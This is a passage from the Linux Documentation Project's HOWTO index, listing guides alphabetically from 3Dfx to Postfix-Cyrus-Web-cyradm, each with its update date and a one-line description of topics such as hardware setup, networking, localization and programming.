  • Smart-Card-HOWTO, Smart Card HOWTO

    Updated: September 2001. Information on smart card technology and its applications in Linux environment.

  • VCR-HOWTO, VCR-HOWTO - Using your GNU/Linux computer as a VCR

    Updated: July 2001. A guide to setting up your GNU/Linux workstation as a digital VCR using the video4linux driver and a supported tuner card.

Prev | Home | Next
System Administration and Configuration | Up | Networking


Single list of HOWTOs

LDP HOWTO-INDEX
Prev Next

Chapter 5. Single list of HOWTOs

The following Linux HOWTOs are currently available:

  • 3Dfx-HOWTO, The Linux 3Dfx HOWTO

    Updated: February 1998. Describes 3Dfx graphics accelerator chip support for Linux.

  • 4mb-Laptops, 4mb Laptop HOWTO

    Updated: April 2000. Put a "grown-up" Linux on a small-spec (4mb RAM, <=200mb hard disk) laptop.

  • Accessibility-HOWTO, Linux Accessibility HOWTO

    Updated: October 2001. Covers the use of adaptive technologies that are available for Linux.

  • Accessibility-Dev-HOWTO, How to Develop Accessible Linux Applications

    Updated: May 2002. Provides Linux software developers with guidelines and test cases for developing accessible Linux applications.

  • Acer-Laptop-HOWTO, Linux Installation on an Acer LapTop HOWTO

    Updated: January 2001. Describes the inatllation of Linux on a Acer laptop and various issues related to this.

  • ADSL-Bandwidth-Management-HOWTO, ADSL Bandwidth Management HOWTO

    Updated: August 2001. Describes how to configure a linux router to more effectively manage outbound traffic on an ADSL modem.

  • Adv-Bash-Scr-HOWTO, Advanced Bash-Scripting HOWTO

    A guide to shell scripting, using Bash.

    Replaced by the Advanced Bash-Scripting Guide.

  • Adv-Routing-HOWTO, Linux Advanced Routing & Traffic Control HOWTO

    Updated: December 2001. A very hands-on approach to iproute2, traffic shaping and a bit of netfilter.

  • AI-Alife-HOWTO, Linux AI & Alife HOWTO

    Updated: June 2001. Information about, and links to, various AI related software libraries, applications, etc. that work on the Linux platform.

  • Alpha-HOWTO, Brief Introduction to Alpha Systems and Processors

    Updated: June 1997. A brief overview of existing Alpha CPUs, chipsets and systems.

  • Antares-RAID-sparcLinux-HOWTO, Antares-RAID-sparcLinux-HOWTO

    Updated: April 2000. Describes how to install, configure, and maintain a hardware RAID built around the 5070 SBUS host based RAID controller by Antares Microsystems.

  • Apache-Compile-HOWTO, Apache Compile HOWTO (Linux edition)

    Updated: April 2002. Describes how to compile the Apache Webserver with important modules like mod_perl, mod_dav, mod_auth_ldap, mod_dynvhost, mod_roaming, mod_jserv, and mod_php.

  • Apache-Overview-HOWTO, Apache Overview How-to

    Updated: February 2002. An overview of the Apache webserver and related projects. It provides pointers for further information and implementation details.

  • Apache-WebDAV-LDAP-HOWTO, Apache WebDAV and LDAP HOWTO

    Updated: April 2002. A HOWTO on implementing WebDAV services using Apache - with LDAP for authentication and SSL for ensuring security of the DAV stores.

  • Assembly-HOWTO, Linux Assembly HOWTO

    Updated: January 2002. How to program in assembly language using FREE programming tools, focusing on development for or from the Linux Operating System on IA-32 (i386) platform.

  • Astronomy-HOWTO, Linux Astronomy HOWTO

    Updated: June 2001. Document shares tips and resources to utilize Linux solutions in the pursuit of Astronomy.

  • ATA-RAID-HOWTO, Linux ATA RAID HOWTO

    Updated: May 2002. Explains how to install Linux on an Intel Pentium compatible computer with an ATA RAID Controller (onboard chip or seperate card), single or multiple processors and at least two hard disks.

  • ATM-Linux-HOWTO, ATM on Linux HOWTO

    Updated: October 2001. Describes how to install, setup, and configure the necessary drivers and tools to support ATM networking under Linux.

  • Authentication-Gateway-HOWTO, Authentication Gateway HOWTO

    Updated: May 2002. Document explains how to setup an authentication gateway.

  • AX25-HOWTO, Linux Amateur Radio AX.25 HOWTO

    Updated: September 2001. How to install and configure support for the AX. 25 packet radio protocol utilized by Amateur Radio Operators worldwide.

  • Bandwidth-Limiting-HOWTO, Bandwidth Limiting HOWTO

    Updated: November 2001. Describes how to set up your Linux server to limit download bandwidth or incoming traffic, and how to use your internet link more efficiently.

  • Bash-Prog-Intro-HOWTO, BASH Programming - Introduction HOWTO

    Updated: July 2000. This article intends to help you to start programming basic-to-intermediate shell scripts.

  • Bash-Prompt-HOWTO, Bash Prompt HOWTO

    Updated: August 2001. Creating and controlling terminal and xterm prompts is discussed, including incorporating standard escape sequences to give username, current working directory, time, etc.

  • Belarusian-HOWTO, Linux Belarusian HOWTO

    Updated: February 2001. Short guide in setting up Belarusian language support in Linux console, X Window System, web-browsers, text editors, etc. Charsets described are windows-1251, iso-8859-5 and koi8-ru. Written in English.

  • Belgian-HOWTO, The Belgian HOWTO

    Updated: May 2002. How to tweak Linux for Belgian users; lists Linux user groups, businesses and other resources in Belgium.

  • Benchmarking-HOWTO, Linux Benchmarking HOWTO

    Updated: August 1997. Discusses some issues associated with the benchmarking of Linux systems and presents a basic benchmarking toolkit.

  • Beowulf-HOWTO, Beowulf HOWTO

    Updated: November 1998. Introduces the Beowulf Supercomputer architecture and provides background information on parallel programming, including links to other more specific documents.

  • Bootdisk-HOWTO, The Linux Bootdisk HOWTO

    Updated: January 2002. How to design and build your own boot/root diskettes for Linux.

  • BootPrompt-HOWTO, The Linux BootPrompt HOWTO

    Updated: September 2001. A compilation of all the possible boot time arguments that can be passed to the Linux kernel at boot time. Includes all kernel and device parameters.

  • BRIDGE-STP-HOWTO, Linux BRIDGE-STP-HOWTO

    Updated: January 2001. Describes how to setup a bridge with the recent kernel patches and brctl utility by Lennert Buytenhek. With developer kernel 2.3.47 the new bridging code is part of the mainstream. On 20.06.2000 there are patches for stable kernels 2.2.14 and 2.2.15. What happens if a penguin crosses a bridge?

  • C++Programming-HOWTO, C++ Programming HOWTO

    Updated: April 2002. Discusses methods to avoid memory problems in C++ and also will help you to program properly in C++ language. Applies to all operating sytems.

  • C-C++Beautifier-HOWTO, C-C++ Beautifier HOWTO

    Updated: March 2002. Helps you to format (beautify) C/C++ programs so that they are more readable and conform to your site coding standards. Applies to all operating sytems.

  • C-editing-with-VIM-HOWTO, C editing with VIM HOWTO

    Updated: January 2001. An introduction to editing C and other language files whose syntax is similar like C++ and Java in vi/VIM.

  • Cable-Modem, Cable Modem Providers HOWTO

    Updated: June 2001. Answers basic questions on how to connect your Linux box to cable modem or cable Internet provider.

  • CD-Distributions-EN-HOWTO, English-language GNU/Linux distributions on CD-ROM

    Updated: March 2002. Intended to show prospective users or administrators of a GNU/Linux system the range of choices open to them when deciding on a distribution for the first time. It also aims to help experienced users track the state of the GNU/Linux distributions market. It emphatically does not aim to be a complete list of all GNU/Linux distributions for all platforms and in all languages. The focus is on popular English-language distributions; specifically compiled for the Intel platform; available on CD-ROM; and easily accessible to the first-time user.

    Replaces the Distributions-HOWTO

  • CDServer-HOWTO, CDServer-HOWTO

    Updated: January 2002. Describes the steps and commands you can use to setup your own CD Server using Linux and some built-in Unix commands along with other freely available software packages.

  • CD-Writing-HOWTO, CD-Writing HOWTO

    Updated: July 2000. Explains how to write CD-ROMs under Linux.

  • CDROM-HOWTO, The Linux CD-ROM HOWTO

    Updated: July 2001. How to install, configure, and use CD-ROM drives under Linux.

  • Chinese-HOWTO, Chinese HOWTO

    Updated: June 1998. Demonstrates how to implement Chinese on Linux system, including those common problems encountered while using Chinese, the ways to obtain, and shows how to install and setup a variety of different Chinese software.

  • Chroot-BIND-HOWTO, Chroot-BIND HOWTO

    Updated: December 2001. Describes installing the BIND 9 nameserver to run in a chroot jail and as a non-root user, to provide added security and minimise the potential effects of a security compromise.

  • Chroot-BIND8-HOWTO, Chroot-BIND8 HOWTO

    Updated: July 2001. Describes installing the BIND 8 nameserver to run in a chroot jail and as a non-root user, to provide added security and minimise the potential effects of a security compromise.

  • Cluster-HOWTO, Linux Cluster HOWTO

    Updated: April 2002. How to set up high-performance Linux computing clusters.

  • Commercial-HOWTO, Linux Commercial HOWTO

    Updated: March 1999. A listing of commercial software and applications which are offered for Linux.

  • Compaq-Remote-Insight-Board-HOWTO, HOWTO Use a Compaq Remote Insight Lights Out Edition for a Headless, Remote Linux Installation

    Updated: April 2002. Describes the installation of Linux on a headless Compaq ProLiant server with a Compaq Remote Insight Lights-Out Edition card without physical access to the system.

  • Compaq-T1500-HOWTO, CompaqT1500-Linux HOWTO

    Updated: March 2002. Lists the procedures and tools needed to boot the Compaq T1500, using a Netboot of both the native file system and a generic Linux installation.

  • Conexant+Rockwell-modem-HOWTO, Conexant/Rockwell modem HOWTO

    Updated: March 2002. A guide to using Conexant and Rockwell chipset based Software modems under Linux.

  • Config-HOWTO, Configuration HOWTO

    Updated: November 2001. Aims at making the fine-tuning of your newly installed Linux box quicker and easier. You will find a set of configurations for the most common applications and services.

  • Linux Consultants HOWTO

    A listing of companies providing commercial Linux related support.

    Replaced by the Linux Consultants Guide.

  • CPU-Design-HOWTO, CPU Design HOW-TO

    Updated: February 2002. Helps people understand how a CPU is designed and manufactured. Contains references to various resources.

  • CVS-RCS-HOWTO, CVS-RCS HOWTO for Linux (Source Code Control System)

    Updated: March 2002. A "practical guide" to very quickly setup a CVS/RCS source code control system.

  • Cyrus-IMAP, Cyrus IMAP HOWTO

    Updated: October 2000. A comprehensive guide to installing, configuring, and running Cyrus Imap and Cyrus Sasl.

  • Danish-HOWTO, The Linux Danish/International HOWTO

    Updated: March 2000. How to configure Linux and various Linux applications for Danish locale standards such as keyboard, font, paper-size etc.

  • DB2-HOWTO, DB2 Version 7.1 for Linux HOWTO

    Updated: June 2001. Explicit instructions on installing DB2 Universal Database Version 7.1 for Linux on the following Intel x86-based distributions: Caldera OpenLinux 2.4, Debian, Red Hat Linux 6.2, SuSE Linux 6.2 and 6.3, and TurboLinux 6.0.

  • Diald-HOWTO, Diald HOWTO

    Updated: April 2000. Shows some typical scenarios for easy start using Diald. Replaces the Diald mini-HOWTO.

  • Diskless-HOWTO, Diskless Nodes HOWTO for Linux

    Updated: February 2002. How to set up a diskless Linux box.

  • Diskless-root-NFS-HOWTO, Root over nfs clients & server HOWTO

    Updated: March 1999. How to setup a server and configure clients for diskless operation from a network.

  • Diskless-root-NFS-other-HOWTO, Root over NFS - Another Approach

    Updated: September 2001. Another approach to Diskless-root-NFS-HOWTO.

  • Distributions-HOWTO, Distributions HOWTO

    Updated: March 2002. Replaced by the English-language GNU/Linux distributions on CD-ROM. Now lists CD-ROM-based English-language Linux distributions only.

    Further information on Linux Distributions can be found on the Linux Weekly News (LWN) site: Distributions section.

  • DNS-HOWTO, DNS HOWTO

    Updated: December 2001. How to become a totally "small time" DNS admin.

  • DOS-Win-to-Linux-HOWTO, From DOS/Windows to Linux HOWTO

    Updated: August 2000. Written for all the DOS and Windows users who have decided to switch to Linux.

  • DOSEMU-HOWTO, The dosemu HOWTO

    Updated: March 1997. DOSEMU stands for DOS Emulation, and is an application that enables the Linux OS to run many DOS programs.

  • DSL-HOWTO, DSL HOWTO for Linux

    Updated: January 2002. Examines the DSL family of high speed Internet services now being deployed in various markets worldwide. Information is included on the technology behind DSL as well as subscribing, installing, configuring, and troubleshooting, with an emphasis on how this impacts Linux users.

  • DVD-HOWTO, Linux DVD HOWTO

    Updated: October 2000. An easy to follow explanation on how to get DVD movie play-back in Linux.

  • Ecology-HOWTO, Linux Ecology HOWTO

    Updated: November 2000. Discusses ways Linux computers can be used as a means to protect our environment, by using its features to save power or paper.

  • Emacs-Beginner-HOWTO, Emacs Beginner's HOWTO

    Updated: March 2001. Introduces Linux users to the Emacs editor.

  • Emacspeak-HOWTO, Installing Emacspeak HOWTO

    Updated: December 2001. Installation instructions for the Emacspeak audio desktop application for Linux.

  • Enterprise-Java-for-Linux-HOWTO, Enterprise Java for Linux HOWTO

    Updated: November 2001. How to set up an Enterprise Java environment on Linux including a JDK, a Web server, supporting Java servlets, accessing a database via JDBC, and supporting Enterprise Java Beans (EJBs).

  • Esperanto-HOWTO, Linux-Esperanto-HOWTO

    Updated: August 1999.

  • Ethernet-HOWTO, Linux Ethernet HOWTO

    Updated: October 2000. Information about which ethernet devices can be used for Linux, and how to set them up (focused on the hardware and low level driver aspect of the ethernet cards; see Network HOWTO for software configuration information).

  • Event-HOWTO, Event HOWTO

    Updated: November 2000. The purpose of this document is to show you how to create good presentations for almost any sort of Linux event.

  • Filesystems-HOWTO, Filesystems HOWTO

    Updated: August 2000. About filesystems and accessing filesystems.

  • Finnish-HOWTO, Finnish HOWTO

    Updated: April 2002. Describes how to localize GNU/Linux for Finnish users (written in Finnish).

  • Firewall-HOWTO, Firewall and Proxy Server HOWTO

    Updated: February 2000. Designed to describe the basics of firewall systems and give you some detail on setting up both a filtering and proxy firewall on a Linux based system.

  • Font-HOWTO, Font HOWTO

    Updated: March 2000. Provides a comprehensive source to act as a starting point for any and all font questions about Linux.

  • Framebuffer-HOWTO, Framebuffer HOWTO

    Updated: February 2000. How to use the framebuffer devices in Linux with a variety of platforms. Also includes how to set up multi-headed displays.

  • Francophones-HOWTO, Le Francophones-HOWTO : Linux & la langue française

    Updated: December 2001.

  • From-PowerUp-To-Bash-Prompt-HOWTO, From Power Up To Bash Prompt

    Updated: November 2000. A brief description of what happens in a Linux system from the time that you turn on the power, to the time that you log in and get a bash prompt.

  • Ftape-HOWTO, Ftape HOWTO

    Updated: August 1998. Discusses essential do's and dont's for the ftape floppy tape driver under Linux. Focuses on the newest version (ftape-4.02 at the time of this writing).

  • Game-Server-HOWTO, Game Server HOWTO

    Updated: July 2001. Explains how to install, configure and maintain servers for various popular multiplayer games.

  • GCC-HOWTO, The Linux GCC HOWTO

    Updated: May 1999. Covers how to set up the GNU C compiler and development libraries under Linux; gives an overview of compiling, linking, running and debugging programs under it.

  • German-HOWTO, German HOWTO

    Updated: December 2001. Addresses Linux localization issues specific to German users (written in German).

  • Glibc2-HOWTO, Glibc 2 HOWTO

    Updated: June 1998. Covers installing and using the GNU C Library version 2 (libc6) on Linux systems.

  • Hardware-HOWTO, Linux Hardware Compatibility HOWTO

    Updated: March 2002. Lists most of the hardware supported by Linux and helps you locate any necessary drivers.

  • Hebrew-HOWTO, The Hebrew HOWTO

    Updated: September 1995. How to configure your Linux machine to use Hebrew characters on X-Windows and Virtual Consoles.

  • Hellenic-HOWTO, Hellenic HOWTO

    Updated: August 1997. Addresses Linux localization issues specific to Greek users (written in Hellenic).

  • HighQuality-Apps-HOWTO, Creating Integrated High Quality Linux Applications HOWTO

    Updated: May 2002. Tries to clarify some issues and give tips on how to create Linux applications highly integrated to the Operating System, security and easy of use.

  • HOWTO-HOWTO, HOWTO HOWTO

    Lists the tools, procedures, and hints to get LDP authors up to speed and writing.

    Replaced by the LDP Author Guide.

  • HOWTO-INDEX, LDP HOWTO INDEX

    Updated: frequently. Index to the Linux HOWTOs as well as other information about the LDP.

  • HP-HOWTO, HP HOWTO - Utilisation and Configuration Guide of HP Products under Linux

    Updated: December 2001. Describes the use of products available in the Hewlett-Packard (HP) catalog with Linux and some free software.

  • i810-HOWTO, i810 with XFree86 4.x HOWTO

    Updated: May 2001. Describes getting XFree86 4.x running on Intel's i810 graphics chipset by using special features of the 2.4.0 kernel.

  • IBM7248-HOWTO, Installing LinuxPPC-2000 on the IBM RS/6000 43P model 7248 HOWTO

    Updated: August 2001. Describes the installation of LinuxPPC-2000 on the IBM RS/6000 43P model 7248 series.

  • Indic-Fonts-HOWTO, The Indic Fonts HOWTO

    Updated: January 2002. A detailed guide on how to install and use Indic scripts (devanagri etc.) using UTF-8 encoding under GNU/Linux.

  • INFO-SHEET, Linux Information Sheet

    Updated: September 1998. Provides basic information about the Linux operating system, including an explanation of Linux, a list of features, some requirements, and some resources.

  • Infrared-HOWTO, Linux Infrared HOWTO

    Updated: April 2001. Introduction to Linux and infrared devices and how to use the software provided by the Linux/IrDA project.

  • IngresII-HOWTO, Ingres II HOWTO

    Updated: September 2001. Helps install the Ingres II Relational Database Management System on Linux.

  • Installation-HOWTO, The Linux Installation HOWTO

    Updated: January 2002. How to obtain and install Linux software. It is the first document which a new Linux user should read to get started.

  • Intranet-Server-HOWTO, The Linux Intranet Server HOWTO

    Updated: December 2001. How to setup an Intranet using Linux as the server which binds Unix, Netware, NT and Windows together.

  • IO-Perf-HOWTO, I/O Performance HOWTO

    Updated: May 2002. Covers information on available patches for the 2.4 kernel that will improve the I/O performance of your Linux operating system.

  • IP-Masquerade-HOWTO, Linux IP Masquerade HOWTO

    Updated: April 2002. How to enable the Linux IP Masquerade feature on a given Linux host.

  • IPCHAINS-HOWTO, Linux IPCHAINS HOWTO

    Updated: July 2000. How to obtain, install and configure the enhanced IP firewalling chains software for Linux, and some ideas on how you might use them.

  • IPX-HOWTO, Linux IPX HOWTO

    Updated: May 1998. How to obtain, install and configure various tools available for the Linux operating system that use the Linux kernel IPX protocol support.

  • ISP-Hookup-HOWTO, ISP-Hookup HOWTO

    Updated: March 1998. How to use Linux to connect to an Internet Service Provider via a dial-up modem TCP/IP connection (basic dial-up procedure and IP establishment, email and news handling is covered).

  • ISP-Setup-RedHat-HOWTO, "Pocket" ISP based on RedHat Linux

    Updated: January 2001. Outlines the setup of a single RedHat box for dial-ins,virtual web hosting, virtual email, POP3 and ftp servers.

  • Italian-HOWTO, Linux Italian HOWTO

    Updated: November 1998. Addresses Linux localization issues specific to Italian users (written in Italian).

  • Java-CGI-HOWTO, Java CGI HOWTO

    Updated: December 1998. Explains how to set up your server to allow CGI programs written in Java and how to use Java to write CGI programs.

  • Java-Decompiler-HOWTO, Java Decompiler HOWTO

    Updated: April 2002. Will help you to de-compile the Java class programs.

  • JavaStation-HOWTO, Linux on the Sun JavaStation NC HOWTO

    Updated: October 2001. Describes how to enable the GNU/Linux OS on the Sun JavaStation NC.

  • Jaz-Drive-HOWTO, Jaz-drive HOWTO

    Updated: January 2000. Covers the configuration and use of the 1Gb and 2Gb Iomega Jaz drives under Linux.

  • K7s5a-HOWTO, The Elite's K7s5a mainboard HOWTO

    Updated: April 2002. Describes how to use Elite's K7s5a board with Linux.

  • Kernel-HOWTO, The Linux Kernel HOWTO

    Updated: May 2002. A detailed guide to kernel configuration, compilation, upgrades, and troubleshooting for ix86-based systems.

  • KernelAnalysis-HOWTO, KernelAnalysis-HOWTO

    Updated: May 2002. Explains some things about the Linux Kernel, such as the most important components, how they work, and so on.

  • Keyboard-and-Console-HOWTO, The Linux keyboard and console HOWTO

    Updated: September 2001. Contains some information about the Linux (v2.0) keyboard and console, and the use of non-ASCII characters.

  • KickStart-HOWTO, RedHat Linux KickStart HOWTO

    Updated: January 1999. Briefly describes how to use the RedHat Linux KickStart system to rapidly install large numbers of identical Linux boxes.

  • Kiosk-HOWTO, Kiosk HOWTO

    Updated: October 1999. Provides a guide for setting up a WWW-based kiosk using Linux, X11R6, FVWM2, Netscape Navigator 4.X, and a customized trackball.

  • Kodak-Digitalcam-HOWTO, Kodak Digital Camera HOWTO

    Updated: January 2001. Getting a Kodak digital camera working under GNU/Linux.

  • Laptop-HOWTO, Linux Laptop HOWTO

    Updated: November 2000. Contains a concise survey of laptop-related (Linux content) documents, such as installation methods for laptops (via PCMCIA, without CD drive, etc.), laptop hardware features, and configurations for different (network) environments.

  • Large-Disk-HOWTO, Large Disk HOWTO

    Updated: August 2001. All about disk geometry and the 1024 cylinder limit for disks.

  • Latvian-HOWTO, Latvian HOWTO

    Updated: March 2002. Describes GNU/Linux localization issues specific for Latvian users (written in Latvian).

  • LDAP-HOWTO, LDAP Linux HOWTO

    Updated: July 2001. Information about installing, configuring, running and maintaining a LDAP (Lightweight Directory Access Protocol) Server on a Linux machine.

  • LDAP-Implementation-HOWTO, LDAP Implementation HOWTO

    Updated: March 2001. Describes the technical aspects of storing application data in a LDAP server. It focuses on the configuration of various applications to make them LDAP-aware.

  • LDP-Reviewer-HOWTO, Linux Documentation Project Reviewer HOWTO

    Updated: May 2001. This document will help you review LDP documentation. It includes procedures, tips and techniques to make the process easier.

  • Lex-YACC-HOWTO, Lex and YACC primer/HOWTO

    Updated: May 2001. Helps you get started using Lex and YACC.

  • LILO-crash-rescue-HOWTO, LILO, Linux Crash Rescue HOWTO

    Updated: March 2002. Discusses methods to recover from Linux system failures.

  • Linmodem-HOWTO, Linmodem-Mini-HOWTO

    Updated: February 2001. Describes Linmodem (winmodem hardware) support under Linux.

  • Linux-Complete-Backup-and-Recovery-HOWTO, Linux Complete Backup and Recovery HOWTO

    Updated: January 2002. A step-by-step tutorial on how to back up a Linux computer so as to be able to make a bare metal recovery, and how to make that bare metal recovery. Includes some related scripts. "Bare metal recovery" is the process of rebuilding a computer after a catastrophic failure.

  • Linux-Crash-HOWTO, Linux Crash HOWTO

    Updated: January 2002. Describes the installation and usage of the LKCD (Linux Kernel Crash Dump) package.

  • Linux From Scratch HOWTO

    Describes the process of creating your own Linux system from scratch from an already installed Linux distribution, using nothing but the source code of software that we need.

    Replaced by the Linux From Scratch guide.

  • Linux-Gamers-HOWTO, The Linux Gamers' HOWTO

    Updated: May 2002. A stepping stone to get the most common problems resolved and to give people the knowledge to begin thinking intelligently about what is going on with their games.

  • Linux-Init-HOWTO, Linux 2.4.x Initialization for IA-32 HOWTO

    Updated: May 2001. A description of the Linux 2.4 kernel initialization sequence on IA-32 processors.

  • Linux+IPv6-HOWTO, Linux IPv6 HOWTO

    Updated: March 2002. The goal of this HOWTO is to answer both basic and advanced questions about IPv6 on the Linux operating system. This HOWTO will provide the reader with enough information to install, configure, and use IPv6 applications on Linux machines.

  • Linux+Windows-HOWTO, Linux + Windows HOWTO

    Updated: November 1999. Aimed at assisting those who wish to use the features of both Linux and Windows on the same host.

  • Linux+Win9x+Grub-HOWTO, Linux+Win9x+Grub HOWTO

    Updated: January 2002. How to use the GRUB bootloader to turn your computer into a Windows + Linux dual boot machine, without affecting your current Linux installation.

  • Linux+XFS-HOWTO, Linux + XFS HOWTO : Linux on Steroids

    Updated: May 2002. Describes how to build a Linux system that runs on top of the SGI XFS journaling filesystem.

  • LinuxDoc+Emacs+Ispell-HOWTO, LinuxDoc+Emacs+Ispell HOWTO

    Updated: February 1998. Aimed at writers and translators of Linux HOWTOs or any other paper for the Linux Documentation Project. Gives hints at using tools including Emacs and Ispell.

  • Loopback-Encrypted-Filesystem-HOWTO, Loopback Encrypted Filesystem HOWTO

    Updated: November 1999. Explains how to setup and then use a filesystem that, when mounted by a user, dynamically and transparently encrypts its contents.

  • LVM-HOWTO, Logical Volume Manager HOWTO

    Updated: May 2000. A very hands-on HOWTO for Linux LVM.

  • Mail-Administrator-HOWTO, The Linux Electronic Mail Administrator HOWTO

    Updated: January 2000. Describes the setup, care and feeding of Electronic Mail (e-mail) under Linux. Primarily intended for administrators.

  • Mail-User-HOWTO, The Linux Mail User HOWTO

    Updated: February 2001. An introduction to the world of electronic mail (email) under Linux. Focuses on user-level issues and typical configurations for Linux home and small-business machines connected to the net via an ISP.

  • Majordomo-MajorCool-HOWTO, Majordomo and MajorCool HOWTO

    Updated: November 2000. Intended to guide a user through an installation of the Majordomo Mailing List Software and MajorCool (utility for managing Majordomo lists via a CGI script).

  • Masquerading-Simple-HOWTO, Masquerading Made Simple HOWTO

    Updated: February 2002. Describes how to enable the Linux IP Masquerade feature on a given Linux host. Should be used as a complement to the the IP-Masquerade-HOWTO.

  • Medicine-HOWTO, Linux Medicine-HOWTO

    Updated: April 2002. Some pointers to Linux software (mostly GPLed) for the medical sciences.

  • META-FAQ, Linux Meta-FAQ

    Updated: October 1997. Mainly a list of valuable sources of information for Linux. Use these sources if you want to learn more about Linux, or have problems and need help.

  • MGR-HOWTO, The MGR Window System HOWTO

    Updated: May 1996. Information on the installation, configuration and running of the MGR Window System.

  • MIDI-HOWTO, The Linux MIDI-HOWTO

    Updated: April 2002. Describes the hardware, software and procedures needed to play and sequence using MIDI under Linux.

  • MILO-HOWTO, Alpha Miniloader HOWTO

    Updated: November 2000. Describes the Alpha Linux Miniloader (also known as MILO), a program for Alpha-based systems that can be used to initialize the machine and load Linux.

  • MindTerm-SSH-HOWTO, Encrypted Tunnels using SSH and MindTerm HOWTO

    Updated: June 2001. How to use SSH and the Java-based program MindTerm to create quick, secure, and reliable VPN-like tunnels over insecure networks.

  • MIPS-HOWTO, Linux/MIPS HOWTO

    Updated: January 2001. Describes the MIPS port of the Linux operating system, common problems and their solutions, availability and more.

  • Modem-HOWTO, Modem HOWTO

    Updated: January 2002. Help with selecting, connecting, configuring, trouble-shooting, and understanding modems for a PC.

  • Modem-Dialup-NT-HOWTO, Modem-Dialup-NT HOW-TO

    Updated: February 2002. Helps you to setup a modem to do Dial-up Networking with a remote server like Windows NT RAS or Linux RAS (Remote Access Server).

  • Module-HOWTO, Linux Loadable Kernel Module HOWTO

    Updated: May 2002. Explains what Linux loadable kernel modules (LKMs) are, and how to use and create them.

  • Mosix-HOWTO, The Mosix HOWTO

    Updated: March 2002. A brief description to Mosix, a software package that turns a network of GNU/Linux computers into a computer cluster.

  • MP3-HOWTO, The Linux MP3 HOWTO

    Updated: December 2001. Describes the hardware, software and procedures needed to encode, play and stream MP3 sound files under Linux.

  • MP3-Box-HOWTO, MP3 Player Box HOWTO

    Updated: April 2001. Describes how to build, configure, install, and use a custom MP3 player box. It lists the necessary hardware and answers a number of frequently asked questions.

  • Multi-Disk-HOWTO, HOWTO: Multi Disk System Tuning

    Updated: May 2002. How best to use multiple disks and partitions for a Linux system.

  • Multicast-HOWTO, Multicast over TCP/IP HOWTO

    Updated: March 1998. Tries to cover most aspects related to multicast over TCP/IP networks.

  • MultiOS-HOWTO, Managing Multiple Operating Systems HOWTO

    Updated: February 2000. Covers the procedures for using removable hard disks to install and manage multiple alternative operating systems while leaving a single fixed disk to permanently house and protect the primary operating system.

  • Mutt-GnuPG-PGP-HOWTO, Mutt-i, GnuPG and PGP HOWTO

    Updated: February 2000. Briefly explains how to configure Mutt-i, PGP and GnuPG in its different versions (2.6.x, 5.x and GnuPG).

  • NC-HOWTO, Linux Netstation HOWTO

    Updated: February 2002. Describes how to hook up a IBM Netstation to your local network using a Linux box as server.

  • NCD-HOWTO, Linux NCD mini-HOWTO

    Updated: December 2001. Describes how to hook up a NCD ThinSTAR to your local network using a Linux box as server.

  • NCURSES-Programming-HOWTO, NCURSES Programming HOWTO

    Updated: February 2002. An "All in One" guide for programming with ncurses and its sister libraries.

  • Net-HOWTO, Linux Networking HOWTO

    Updated: December 2000. Information about networking for Linux (relates only to version 4 of the Linux Networking Kernel or more specifically kernel releases 2.x and 2.2.x).

    Previously called the Net 3/4 and Net-3 HOWTOs.

  • NetMeeting-HOWTO, Linux NETMEETING HOWTO

    Updated: January 2002. Describes how to make Microsoft NetMeeting interoperate with Linux.

  • Network-boot-HOWTO, Network boot and exotic root HOWTO

    Updated: December 2001. Explains how to quickly setup a linux server to provide what diskless linux clients require to get up and running, using an IP network.

  • Networking-Overview-HOWTO, The Linux Networking Overview HOWTO

    Updated: July 2000. Overview of the networking capabilities of the Linux Operating System; provides pointers for further information and implementation details.

  • NFS-HOWTO, NFS HOWTO

    Updated: December 2000. How to set up NFS clients and servers.

  • NIS-HOWTO, The Linux NIS(YP)/NYS/NIS+ HOWTO

    Updated: November 2000. How to configure Linux as NIS(YP) or NIS+ client and how to install as a NIS server.

  • NLM-HOWTO, NetWare Loadable Module Programming HOWTO

    Updated: August 2000. How to develop NetWare Loadable Modules under Linux, using GNU CC and nlmconv(1) from GNU binutils.

  • Online-Troubleshooting-HOWTO, Online Troubleshooting Resources HOWTO

    Updated: March 2002. Directs Linux users to resources available on the Internet that provide access to a vast amount of Linux-related information useful in troubleshooting problems.

  • Optical-Disk-HOWTO, Linux - Optical Disk HOWTO

    Updated: December 1998. Describes the installation and configuration of optical disk drives for Linux.

  • Oracle-7-HOWTO, Oracle 7 Database HOWTO

    Updated: August 1998. A guide to installing and configuring the Oracle 7 Database Server on a Linux system.

  • Oracle-8-HOWTO, Oracle (8) for Linux Installation HOWTO

    Updated: June 2000. A guide to installing and configuring the Oracle 8i Enterprise Edition for Linux.

  • PA-RISC-Linux-Boot-HOWTO, PA-RISC/Linux Boot HOWTO

    Updated: January 2002. Outlines the procedures for getting the current PA-RISC/Linux development kernel to boot on your PA-RISC system. It also explains the functions of PALO, the kernel loader for PA/Linux.

  • PalmOS-HOWTO, Palm OS Desktop HOWTO

    Updated: March 2002. Explains how to use your Palm OS device with a Linux system.

  • Parallel-Processing-HOWTO, Linux Parallel Processing HOWTO

    Updated: January 1998. Discusses the four basic approaches to parallel processing that are available to Linux users: SMP Linux systems, clusters of networked Linux systems, parallel execution using multimedia instructions (i.e., MMX), and attached (parallel) processors hosted by a Linux system.

  • PCI-HOWTO, Linux PCI-HOWTO

    Updated: June 2001. Information on what works with Linux and PCI-boards and what does not.

  • PCMCIA-HOWTO, Linux PCMCIA HOWTO

    Updated: May 2001. How to install and use PCMCIA Card Services for Linux.

  • phhttpd-HOWTO, PHHTTPD

    Updated: April 2001. phhttpd is an HTTP accelerator. It serves fast static HTTP fetches from a local file-system and passes slower dynamic requests back to a waiting server.

  • PHP-HOWTO, PHP HOWTO

    Updated: April 2002. How to develop PHP programs and also to migrate all the Windows 95 GUI applications to powerful PHP + HTML + DHTML + XML + Java applets + Javascript. Applies to all the operating sytems where PHP is ported.

  • PLIP-Install-HOWTO, PLIP Install HOWTO

    Updated: December 2001. How to install a Gnu/Linux distribution on a computer without Ethernet card, nor cdrom, but just a local floppy drive and a remote nfs server attached by a Null-Modem parallel cable.

  • Plug-and-Play-HOWTO, The Linux Plug-and-Play HOWTO

    Updated: March 2002. How to get your Linux system to support Plug-and-Play.

  • Polish-HOWTO, Polish HOWTO

    Updated: February 1999. Addresses Linux localization issues specific to Polish users (written in Polish).

  • Portuguese-HOWTO, Portuguese HOWTO

    Updated: December 1999. Addresses Linux localization issues specific to Portuguese users (written in Portuguese).

  • Postfix-Cyrus-Web-cyradm-HOWTO, Postfix-Cyrus-Web-cyradm-HOWTO

    Updated: April 2002. Guides you through the installation of the Postfix mail transportation agent (MTA), the Cyrus IMAP server.

